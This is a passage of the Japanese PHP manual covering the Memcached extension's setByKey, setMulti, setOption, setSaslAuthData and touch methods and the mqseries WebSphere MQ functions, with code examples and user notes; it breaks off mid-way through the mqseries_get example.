13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
Matthew Minix 14-Nov-2013 04:59
Unlike Memcache, Memcached will not replace spaces in keys with underscores for you, and will instead send the key as provided which will cause an error that can result in keys and values being mismatched.  You can avoid this problem by removing/replacing spaces before storage or setting the option Memcached::OPT_BINARY_PROTOCOL to true.
miha at hribar dot info 16-Jul-2009 08:26
The method correctly returns false if you set the value to false. This means that in order to have proper fault checking mechanism in place you need to check the result code.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));      // boolean false
var_dump($Memcached->getResultCode()); // int 0 which is  Memcached::RES_SUCCESS
?>


指定したサーバーにアイテムを格納する

  • ≪ Memcached::set
  • Memcached::setMulti ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーにアイテムを格納する

Memcached::setByKey

(PECL memcached >= 0.1.0)

Memcached::setByKey — 指定したサーバーにアイテムを格納する

説明

public Memcached::setByKey ( string $server_key , string $key , mixed $value , int $expiration = ? ) : bool

Memcached::setByKey() は機能的に Memcached::set() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。 これは、関連するキーを特定のサーバーに置き続けたいときなどに便利です。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

値の格納先のキー。

value

格納する値。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

例

例1 Memcached::setByKey() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* IP ブロック情報を特定のサーバー上に保持します */
$m->setByKey('api-cache', 'block-ip:169.254.253.252', 1);
$m->setByKey('api-cache', 'block-ip:169.127.127.202', 1);
?>

参考

  • Memcached::set() - アイテムを格納する

User Contributed Notes

There are no user contributed notes for this page.


複数のアイテムを格納する

  • ≪ Memcached::setByKey
  • Memcached::setMultiByKey ≫
  • PHP Manual
  • Memcached
  • 複数のアイテムを格納する

Memcached::setMulti

(PECL memcached >= 0.1.0)

Memcached::setMulti — 複数のアイテムを格納する

説明

public Memcached::setMulti ( array $items , int $expiration = ? ) : bool

Memcached::setMulti() は Memcached::set() と似ていますが、ひとつのキーのアイテムではなく items で設定した複数のアイテムに対して動作します。 有効期限 expiration は、すべてのアイテムに同時に適用されます。

パラメータ

items

サーバーに格納する キー/値 のペアの配列。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

例

例1 Memcached::setMulti() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
$m->setMulti($items, time() + 300);
?>

参考

  • Memcached::setMultiByKey() - 指定したサーバーで複数のアイテムを格納する
  • Memcached::set() - アイテムを格納する

User Contributed Notes

nulll 02-Feb-2018 01:57
The previous comment is from April 2013, it has a link pointing on current master, so things are changed since 2013 in the source code.

Maybe the right link is
https://github.com/php-memcached-dev/php-memcached/blob/80cb21467a1db6b7b18725df586f11801c823695/php_memcached.c#L1219

By the way, can someone skilled in C confirm the "fake setMulti" problem?
Nicolas 03-Apr-2013 04:51
This is what the previous comment (fake set multi):

https://github.com/php-memcached-dev/php-memcached/blob/master/php_memcached.c#L1219
jooonic at googlemail dot com 25-Aug-2010 01:10
Dont expect setmulti is faster then multiple SETs!
It doesn't use the setmulti lib function, it iterats over every key and send him alone.
I can't find any php implementation with setmulti support (needs support for memcached's binary protocol, remember php's "memcache"-extension only supports text-protocol).
Thats bad, not enought throughput to membase.
So i have to use redis instead, coz of its support for get/set multi.


指定したサーバーで複数のアイテムを格納する

  • ≪ Memcached::setMulti
  • Memcached::setOption ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーで複数のアイテムを格納する

Memcached::setMultiByKey

(PECL memcached >= 0.1.0)

Memcached::setMultiByKey — 指定したサーバーで複数のアイテムを格納する

説明

public Memcached::setMultiByKey ( string $server_key , array $items , int $expiration = ? ) : bool

Memcached::setMultiByKey() は機能的に Memcached::setMulti() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。 これは、関連するキーを特定のサーバーに置き続けたいときなどに便利です。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

items

サーバーに格納する キー/値 のペアの配列。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

参考

  • Memcached::setMulti() - 複数のアイテムを格納する
  • Memcached::set() - アイテムを格納する

User Contributed Notes

There are no user contributed notes for this page.


Memcached のオプションの値を設定する

  • ≪ Memcached::setMultiByKey
  • Memcached::setOptions ≫
  • PHP Manual
  • Memcached
  • Memcached のオプションの値を設定する

Memcached::setOption

(PECL memcached >= 0.1.0)

Memcached::setOption — Memcached のオプションの値を設定する

説明

public Memcached::setOption ( int $option , mixed $value ) : bool

このメソッドは、Memcached のオプションの値を設定します。 libmemcached で定義されているオプションに対応するものもあれば、 この拡張モジュールに固有のものもあります。詳細な情報は Memcached 定数 を参照ください。

以下のオプションの値は、定数で指定する必要があります。

  • Memcached::OPT_HASH には Memcached::HASH_* の値を指定しなければなりません。

  • Memcached::OPT_DISTRIBUTION には Memcached::DISTRIBUTION_* の値を指定しなければなりません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcached オプションの設定

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);
$m->setOption(Memcached::OPT_HASH, Memcached::HASH_MURMUR);
$m->setOption(Memcached::OPT_PREFIX_KEY, "widgets");
echo "Prefix key is now: ", $m->getOption(Memcached::OPT_PREFIX_KEY), "\n";
?>

上の例の出力は以下となります。

bool(true)
Prefix key is now: widgets

参考

  • Memcached::getOption() - Memcached のオプションの値を取得する
  • Memcached::setOptions() - Memcached のオプションの値を設定する
  • Memcached 定数

User Contributed Notes

Harry Fuecks 26-May-2010 01:25
Be warned that setting the option Memcached::OPT_DISTRIBUTION to Memcached::DISTRIBUTION_CONSISTENT can carry a significant performance hit so is best used with persistent connections. More details at http://github.com/andreiz/php-memcached/issues#issue/14


Memcached のオプションの値を設定する

  • ≪ Memcached::setOption
  • Memcached::setSaslAuthData ≫
  • PHP Manual
  • Memcached
  • Memcached のオプションの値を設定する

Memcached::setOptions

(PECL memcached >= 2.0.0)

Memcached::setOptions — Memcached のオプションの値を設定する

説明

public Memcached::setOptions ( array $options ) : bool

Memcached::setOptions() は Memcached::setOption() と似ていますが、設定するオプションの配列を受け取ります。

パラメータ

options

オプションの連想配列。設定するオプションを連想配列のキーに、 そしてそのオプションの新しい値を連想配列の値に設定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcached オプションの設定

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);

$m->setOptions(array(Memcached::OPT_HASH => Memcached::HASH_MURMUR, Memcached::OPT_PREFIX_KEY => "widgets"));

var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);
echo "Prefix key is now: ", $m->getOption(Memcached::OPT_PREFIX_KEY), "\n";
?>

上の例の出力は以下となります。

bool(true)
bool(false)
Prefix key is now: widgets

参考

  • Memcached::getOption() - Memcached のオプションの値を取得する
  • Memcached::setOption() - Memcached のオプションの値を設定する
  • Memcached 定数

User Contributed Notes

There are no user contributed notes for this page.


認証用の資格情報を設定する

  • ≪ Memcached::setOptions
  • Memcached::touch ≫
  • PHP Manual
  • Memcached
  • 認証用の資格情報を設定する

Memcached::setSaslAuthData

(PECL memcached >= 2.0.0)

Memcached::setSaslAuthData — 認証用の資格情報を設定する

説明

public Memcached::setSaslAuthData ( string $username , string $password ) : void

Memcached::setSaslAuthData() は、ユーザー名とパスワードを設定します。 これらを、memcache サーバーでの SASL 認証に使います。

このメソッドを使えるのは、memcached 拡張モジュールを SASL サポートつきでビルドしたときだけです。 その方法については Memcached のインストール/設定 を参照ください。

パラメータ

username

認証で使うユーザー名。

password

認証で使うパスワード。

返り値

値を返しません。

User Contributed Notes

me at koen dot pt 03-Feb-2015 10:47
When using setSaslAuthData(), it's a good change you'll get the following warning:

Warning: Memcached::setSaslAuthData(): SASL is only supported with binary protocol in test.php on line 8

To enable binary protocol you'll have to set the Memcached::OPT_BINARY_PROTOCOL option to true:

<?php
$mc->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
?>


アイテムに新しい有効期限を設定する

  • ≪ Memcached::setSaslAuthData
  • Memcached::touchByKey ≫
  • PHP Manual
  • Memcached
  • アイテムに新しい有効期限を設定する

Memcached::touch

(PECL memcached >= 2.0.0)

Memcached::touch — アイテムに新しい有効期限を設定する

説明

public Memcached::touch ( string $key , int $expiration ) : bool

Memcached::touch() は、指定したキーに新しい有効期限を設定します。

パラメータ

key

値の格納先のキー。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

参考

  • Memcached::touchByKey() - 指定したサーバー上のアイテムに新しい有効期限を設定する

User Contributed Notes

Dehumanizer 30-May-2015 11:29
With PHP 5.4.41 and memcached 1.4.24 it works in ASCII mode as well.
Pramod Patil 12-Sep-2014 08:44
This is only supported when binary protocol is enabled.
$obj = new Memcached();
$obj->setOption(\Memcached::OPT_BINARY_PROTOCOL, true);


指定したサーバー上のアイテムに新しい有効期限を設定する

  • ≪ Memcached::touch
  • MemcachedException ≫
  • PHP Manual
  • Memcached
  • 指定したサーバー上のアイテムに新しい有効期限を設定する

Memcached::touchByKey

(PECL memcached >= 2.0.0)

Memcached::touchByKey — 指定したサーバー上のアイテムに新しい有効期限を設定する

説明

public Memcached::touchByKey ( string $server_key , string $key , int $expiration ) : bool

Memcached::touchByKey() は機能的に Memcached::touch() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

値の格納先のキー。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

参考

  • Memcached::touch() - アイテムに新しい有効期限を設定する

User Contributed Notes

There are no user contributed notes for this page.


MemcachedException クラス

(PECL memcached >= 0.1.0)

はじめに

クラス概要

MemcachedException extends RuntimeException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


mqseries

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • mqseries 関数
    • mqseries_back — MQSeries MQBACK
    • mqseries_begin — MQseries MQBEGIN
    • mqseries_close — MQSeries MQCLOSE
    • mqseries_cmit — MQSeries MQCMIT
    • mqseries_conn — MQSeries MQCONN
    • mqseries_connx — MQSeries MQCONNX
    • mqseries_disc — MQSeries MQDISC
    • mqseries_get — MQSeries MQGET
    • mqseries_inq — MQSeries MQINQ
    • mqseries_open — MQSeries MQOPEN
    • mqseries_put1 — MQSeries MQPUT1
    • mqseries_put — MQSeries MQPUT
    • mqseries_set — MQSeries MQSET
    • mqseries_strerror — 結果コード (MQRC) に対応するエラーメッセージを返す

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、IBM WebSphere MQ Series のキューマネージャとの通信用のインターフェイスを提供します。

このインターフェイスは、WebSphere MQ Series の C 言語用 API のクライアントインターフェイスとできるだけ同じになるように作られています。 命名規約なども C の API と可能な限り一致させています。 この拡張モジュールを使いこなすには、 C の API についてある程度の知識が必要となるでしょう。

MQ-options、MQ-structures、MQ-results などについては、 WebSphere MQ Application Programming Guide および WebSphere MQ Application Programming Reference を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


要件

IBM WebSphere MQ をインストールする必要があります。 また、拡張モジュールをビルドするには IBM WebSphere MQ の SDK も必要です。

注意: IBM WebSphere MQ Client で実行した場合は、 いくつか使用できないメソッドがあることに注意しましょう。 これは、この拡張モジュールの問題ではなく、単に WebSphere MQ Client Interface の動作上の問題です。

Windows 以外の環境でのインストール要件

拡張モジュールをビルドし、PHP の拡張モジュール用ディレクトリにコピーします。

Windows 環境でのインストール要件

追加の情報はありません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mqseries.

注意: この拡張モジュールの正式名称は mqseries です。

キューマネージャへの接続方法は、次の二通りです。 これは、拡張モジュールのコンパイル/リンクの方法によって決まります。

  • デフォルトで用いられるのは mqic ライブラリです。この IBM WebSphere MQSeries ライブラリをターゲットとしてコンパイル/リンクすると、 キューマネージャに対してクライアントインターフェイスで接続できるようになります。 リモート接続も、この方式で行えます。

  • もうひとつの方法は、mqm ライブラリをターゲットとしてコンパイル/リンクするものです。 このライブラリを使用すると、キューマネージャのトランザクション管理ができるようになります。

現時点では、使用するライブラリを選択するには直接 config.m4 ファイルを編集します。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

設定パラメータは特にありません。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールでは、接続リソースおよびオブジェクトハンドルリソースを定義しています。

mqseries_conn() と mqseries_connx() が接続ハンドルを定義します。

mqseries_open() がオブジェクトハンドルを定義します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

WebSphere MQ の各定数に対して、mqseries でも対応する定数を用意しています。

定数の定義や使用法については、WebSphere MQ Application Programming Guide および WebSphere MQ Application Programming Reference red books を参照ください。

mqseries での定数名は、WebSphere MQ の定数名に MQSERIES_ をつけたものとなります。 たとえば、完了コードの場合は次のようになります。

mqseries の定数
PHP の定数 | MQ の定数
MQSERIES_MQCC_OK | MQCC_OK
MQSERIES_MQCC_WARNING | MQCC_WARNING
MQSERIES_MQCC_FAILED | MQCC_FAILED
MQSERIES_MQCC_UNKNOWN | MQCC_UNKNOWN

User Contributed Notes

There are no user contributed notes for this page.


mqseries 関数

目次

  • mqseries_back — MQSeries MQBACK
  • mqseries_begin — MQseries MQBEGIN
  • mqseries_close — MQSeries MQCLOSE
  • mqseries_cmit — MQSeries MQCMIT
  • mqseries_conn — MQSeries MQCONN
  • mqseries_connx — MQSeries MQCONNX
  • mqseries_disc — MQSeries MQDISC
  • mqseries_get — MQSeries MQGET
  • mqseries_inq — MQSeries MQINQ
  • mqseries_open — MQSeries MQOPEN
  • mqseries_put1 — MQSeries MQPUT1
  • mqseries_put — MQSeries MQPUT
  • mqseries_set — MQSeries MQSET
  • mqseries_strerror — 結果コード (MQRC) に対応するエラーメッセージを返す

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQBACK

  • ≪ mqseries 関数
  • mqseries_begin ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQBACK

mqseries_back

(PECL mqseries >= 0.10.0)

mqseries_back — MQSeries MQBACK

説明

mqseries_back ( resource $hconn , resource &$compCode , resource &$reason ) : void

mqseries_back() (MQBACK) は、キューマネージャに対して、 直近の同期ポイント以降に get あるいは put されたすべてのメッセージを戻すことを指示します。 作業ユニットの一部として put されたメッセージは削除されます。 作業ユニットの一部として取得したメッセージはキューに戻されます。

mqseries_back() は、 mqseries_begin() と組み合わせた場合にのみ動作します。 また、mqclient インターフェイスを介さずに 直接キューマネージャに接続した場合にのみ動作します。

パラメータ

hConn

接続ハンドル。

このハンドルは、キューマネージャへの接続を表します。

compCode

完了コード。

reason

compCode の原因を表すコード。

返り値

値を返しません。

例

例1 mqseries_back() の例

<?php
    mqseries_back($conn, $comp_code, $reason);

    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

注意

注意:

mqseries_back() は、MQSeries Client を使用して Queueu Manager に接続した場合には動作しません。

参考

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_begin() - MQseries MQBEGIN

User Contributed Notes

There are no user contributed notes for this page.


MQseries MQBEGIN

  • ≪ mqseries_back
  • mqseries_close ≫
  • PHP Manual
  • mqseries 関数
  • MQseries MQBEGIN

mqseries_begin

(PECL mqseries >= 0.10.0)

mqseries_begin — MQseries MQBEGIN

説明

mqseries_begin ( resource $hconn , array $beginOptions , resource &$compCode , resource &$reason ) : void

mqseries_begin() (MQBEGIN) をコールすると、作業ユニットを開始します。 これはキューマネージャが扱うものですが、外部のリソースマネージャを使用することもあります。

mqseries_begin() は作業ユニットを開始します。作業ユニットを終了させるには mqseries_back() あるいは mqseries_cmit() を使用します。

パラメータ

hConn

接続ハンドル。

このハンドルは、キューマネージャへの接続を表します。

compCode

完了コード。

reason

compCode の原因を表すコード。

返り値

値を返しません。

例

例1 mqseries_begin() の例

<?php
    $mqbo = array();
    mqseries_begin( $conn,
                    $mqbo,
                    $comp_code,
                    $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        /* コード 2121 は警告を表します。詳細は MQSeries のリファレンスマニュアルを参照ください */
        if ($reason !== 2121) {
            printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        }
    }
?>

注意

注意:

mqseries_begin() は、MQSeries Client を使用して Queueu Manager に接続した場合には動作しません。

参考

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_back() - MQSeries MQBACK
  • mqseries_cmit() - MQSeries MQCMIT

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCLOSE

  • ≪ mqseries_begin
  • mqseries_cmit ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQCLOSE

mqseries_close

(PECL mqseries >= 0.10.0)

mqseries_close — MQSeries MQCLOSE

説明

mqseries_close ( resource $hconn , resource $hobj , int $options , resource &$compCode , resource &$reason ) : void

mqseries_close() (MQCLOSE) をコールするとオブジェクトへのアクセスを破棄します。これは mqseries_open() (MQOPEN) コールの逆の意味です。

パラメータ

hConn

接続ハンドル。

このハンドルは、キューマネージャへの接続を表します。

hObj

オブジェクトハンドル。

このハンドルは、使用するオブジェクトを表します。

options

compCode

完了コード。

reason

compCode の原因を表すコード。

返り値

値を返しません。

例

例1 mqseries_close() の例

<?php
    mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("close CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

参考

  • mqseries_open() - MQSeries MQOPEN
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCMIT

  • ≪ mqseries_close
  • mqseries_conn ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQCMIT

mqseries_cmit

(PECL mqseries >= 0.10.0)

mqseries_cmit — MQSeries MQCMIT

説明

mqseries_cmit ( resource $hconn , resource &$compCode , resource &$reason ) : void

mqseries_cmit() (MQCMIT) は、キューマネージャに対して、 アプリケーションが同期ポイントに達したことと 直近の同期ポイント以降に get あるいは put されたすべてのメッセージを確定させることを指示します。 作業ユニットの一部として put されたメッセージは他のアプリケーションでも使用できるようになります。 作業ユニットの一部として取得したメッセージは削除されます。

パラメータ

hConn

接続ハンドル。

このハンドルは、キューマネージャへの接続を表します。

compCode

完了コード。

reason

compCode の原因を表すコード。

返り値

値を返しません。

例

例1 mqseries_cmit() の例

<?php
    mqseries_cmit($conn, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("cmit CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

注意

注意:

mqseries_back() は、MQSeries Client を使用して Queueu Manager に接続した場合には動作しません。

参考

  • mqseries_begin() - MQseries MQBEGIN
  • mqseries_back() - MQSeries MQBACK
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCONN

  • ≪ mqseries_cmit
  • mqseries_connx ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQCONN

mqseries_conn

(PECL mqseries >= 0.10.0)

mqseries_conn — MQSeries MQCONN

説明

mqseries_conn ( string $qManagerName , resource &$hconn , resource &$compCode , resource &$reason ) : void

The mqseries_conn() (MQCONN) をコールすると、アプリケーションプログラムをキューマネージャに接続します。 これによって取得した接続ハンドルを、 アプリケーション側でそれ以降のメッセージキューコールの際に使用します。

パラメータ

qManagerName

キューマネージャ名。

アプリケーションが接続したいキューマネージャの名前。

hConn

接続ハンドル。

このハンドルは、キューマネージャへの接続を表します。

compCode

完了コード。

reason

compCode の原因を表すコード。

返り値

値を返しません。

例

例1 mqseries_conn() の例

<?php
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("conn CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }
?>

参考

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCONNX

  • ≪ mqseries_conn
  • mqseries_disc ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQCONNX

mqseries_connx

(PECL mqseries >= 0.10.0)

mqseries_connx — MQSeries MQCONNX

説明

mqseries_connx ( string $qManagerName , array &$connOptions , resource &$hconn , resource &$compCode , resource &$reason ) : void

The mqseries_connx() (MQCONNX) call connects an application program to a queue manager. It provides a queue manager connection handle, which is used by the application on subsequent MQ calls.

The mqseries_connx() call is like the mqseries_conn() (MQCONN) call, except that MQCONNX allows options to be specified to control the way that the call works.

パラメータ

qManagerName

Name of queue manager.

Name of the queue manager the application wishes to connect.

connOps

Options that control the action of function

See also the MQCNO structure.

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返り値

値を返しません。

例

例1 mqseries_connx() example

<?php
    $mqcno = array(
        'Version' => MQSERIES_MQCNO_VERSION_2,
        'Options' => MQSERIES_MQCNO_STANDARD_BINDING,
        'MQCD' => array('ChannelName' => 'MQNX9420.CLIENT',
        'ConnectionName' => 'localhost',
        'TransportType' => MQSERIES_MQXPT_TCP)
    );

    mqseries_connx('MQNX9420', $mqcno, $conn, $comp_code,$reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("Connx CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }

?>

例2 mqseries_connx() example using SSL connection & OCSP Responder URL

<?php
    $mqcno = array(
        'Version' => 4, //MQCNO_VERSION_4
        'Options' => MQSERIES_MQCNO_STANDARD_BINDING,
        'MQCD' => array(
            'Version' => 7, //MQCD_VERSION_7
            'ConnectionName' => 'localhost',
            'TransportType' => MQSERIES_MQXPT_TCP,
            'ChannelName' => 'CONNECTIONCHANNEL',
            'SSLCipherSpec' => 'NULL_SHA'
        ),
        'MQSCO' => array(
            'KeyRepository' => '/var/mqm/qmgrs/QUEUEMGR/ssl/key', //Local path where the SSL key repository can be found
            'MQAIR' => array(
                'Version' => 2, //MQAIR_VERSION_2
                'AuthInfoType' => 2, //MQAIT_OCSP
                'OCSPResponderURL' => 'http://dummy.OCSP.responder'
            )
        )
    );

    mqseries_connx('QUEUEMGR', $mqcno, $conn, $comp_code,$reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("Connx CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }

?>

参考

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQDISC

  • ≪ mqseries_connx
  • mqseries_get ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQDISC

mqseries_disc

(PECL mqseries >= 0.10.0)

mqseries_disc — MQSeries MQDISC

説明

mqseries_disc ( resource $hconn , resource &$compCode , resource &$reason ) : void

mqseries_disc() (MQDISC) をコールすると、キューマネージャとアプリケーションプログラムとの間の接続を切断します。 mqseries_conn() (MQCONN) や mqseries_connx() (MQCONNX) の逆の意味です。

パラメータ

hConn

接続ハンドル。

このハンドルは、キューマネージャへの接続を表します。

compCode

完了コード。

reason

compCode の原因を表すコード。

返り値

値を返しません。

例

例1 mqseries_disc() の例

<?php
    mqseries_disc($conn, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("disc CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

参考

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQGET

  • ≪ mqseries_disc
  • mqseries_inq ≫
  • PHP Manual
  • mqseries 関数
  • MQSeries MQGET

mqseries_get

(PECL mqseries >= 0.10.0)

mqseries_get — MQSeries MQGET

説明

mqseries_get ( resource $hConn , resource $hObj , array &$md , array &$gmo , int &$bufferLength , string &$msg , int &$data_length , resource &$compCode , resource &$reason ) : void

The mqseries_get() (MQGET) call retrieves a message from a local queue that has been opened using the mqseries_open() (MQOPEN) call

パラメータ

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

md

Message descriptor (MQMD).

gmo

Get message options (MQGMO).

bufferLength

Expected length of the result buffer

msg

Buffer holding the message that was retrieved from the object.

data_length

Actual buffer length

compCode

Completion code.

reason

Reason code qualifying the compCode.

返り値

値を返しません。

例

例1 mqseries_get() example

<?php
// open connection to the queue manager
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// $conn now hold the reference to the connection to the queue manager.

// open the connection to the testq queue
    mqseries_open(
                $conn,
                array('ObjectName' => 'TESTQ'),
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
// $obj now holds the reference to the object (TESTQ)

// setup empty message descriptor.
    $mdg = array();
// setup get message options
    $gmo = array('Options' => MQSERIES_MQGMO_FAIL_IF_QUIESCING | MQSERIES_MQGMO_WAIT, 'WaitInterval' => 3000);

// get the message from the queue
    mqseries_get($conn, $obj, $mdg, $gmo, 255, $msg, $data_length, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
